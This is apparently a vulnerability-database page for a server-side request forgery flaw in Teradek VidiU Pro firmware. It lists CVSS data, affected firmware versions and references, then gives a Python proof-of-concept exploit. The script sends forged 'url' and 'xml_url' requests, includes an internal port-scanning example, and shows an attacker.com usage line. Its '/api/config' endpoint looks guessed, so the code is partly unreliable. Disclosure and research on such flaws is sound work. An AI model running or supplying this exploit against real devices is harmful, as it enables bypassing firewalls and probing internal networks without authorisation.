CVE-2019-25251

Description

Teradek VidiU Pro 3.0.3 contains a server-side request forgery vulnerability in the management interface that allows attackers to manipulate GET parameters 'url' and 'xml_url'. Attackers can exploit this flaw to bypass firewalls, initiate network enumeration, and potentially trigger external HTTP requests to arbitrary destinations.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:teradek:vidiu_pro_firmware:2.4.10:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:teradek:vidiu_pro_firmware:3.0.2:build31225:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:teradek:vidiu_pro_firmware:3.0.3:build32136:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:teradek:vidiu_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:teradek:vidiu_firmware:2.4.10:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:teradek:vidiu_firmware:3.0.2:build31225:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:teradek:vidiu_firmware:3.0.3:build32136:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:teradek:vidiu:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:teradek:vidiu_mini_firmware:2.4.10:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:teradek:vidiu_mini_firmware:3.0.2:build31225:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:teradek:vidiu_mini_firmware:3.0.3:build32136:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:teradek:vidiu_mini:-:*:*:*:*:*:*:* - NOT VULNERABLE

Teradek VidiU Pro 3.0.3

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2019-25251 SSRF PoC - Teradek VidiU Pro
# Target: Teradek VidiU Pro management interface
# Vulnerability: SSRF via 'url' and 'xml_url' GET parameters

import requests
import sys

def exploit_ssrf(target_url, attackercontrolled_url):
    """
    Exploit SSRF vulnerability in Teradek VidiU Pro
    target_url: Base URL of the vulnerable device
    attackercontrolled_url: URL to make the server request
    """
    
    # Target endpoint for SSRF
    endpoint = "/api/config"
    
    # Method 1: Using 'url' parameter
    params_url = {
        'url': attackercontrolled_url
    }
    
    # Method 2: Using 'xml_url' parameter  
    params_xml_url = {
        'xml_url': attackercontrolled_url
    }
    
    print(f"[*] Targeting: {target_url}")
    print(f"[*] Attacker controlled URL: {attackercontrolled_url}")
    
    # Send exploit requests
    try:
        print("[*] Sending SSRF payload via 'url' parameter...")
        response1 = requests.get(target_url + endpoint, params=params_url, timeout=10)
        print(f"[+] Response status: {response1.status_code}")
        
        print("[*] Sending SSRF payload via 'xml_url' parameter...")
        response2 = requests.get(target_url + endpoint, params=params_xml_url, timeout=10)
        print(f"[+] Response status: {response2.status_code}")
        
        # Example: Internal port scanning
        print("[*] Example: Scanning internal service...")
        internal_target = "http://192.168.1.1:8080/admin"
        scan_params = {'url': internal_target}
        requests.get(target_url + endpoint, params=scan_params, timeout=5)
        
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print("Usage: python cve-2019-25251.py <target_url> <attacker_url>")
        print("Example: python cve-2019-25251.py http://vidiu-pro.local http://attacker.com/malicious")
        sys.exit(1)
    
    exploit_ssrf(sys.argv[1], sys.argv[2])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2019-25251
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2019-25251
[3] CVE Details https://www.cvedetails.com/cve/CVE-2019-25251/
[4] VulDB https://vuldb.com/cve/CVE-2019-25251
[5] https://www.exploit-db.com/exploits/44672
[6] https://www.teradek.com
[7] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php
[8] https://www.exploit-db.com/exploits/44672
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5461.php

Raw JSON Data

JSON

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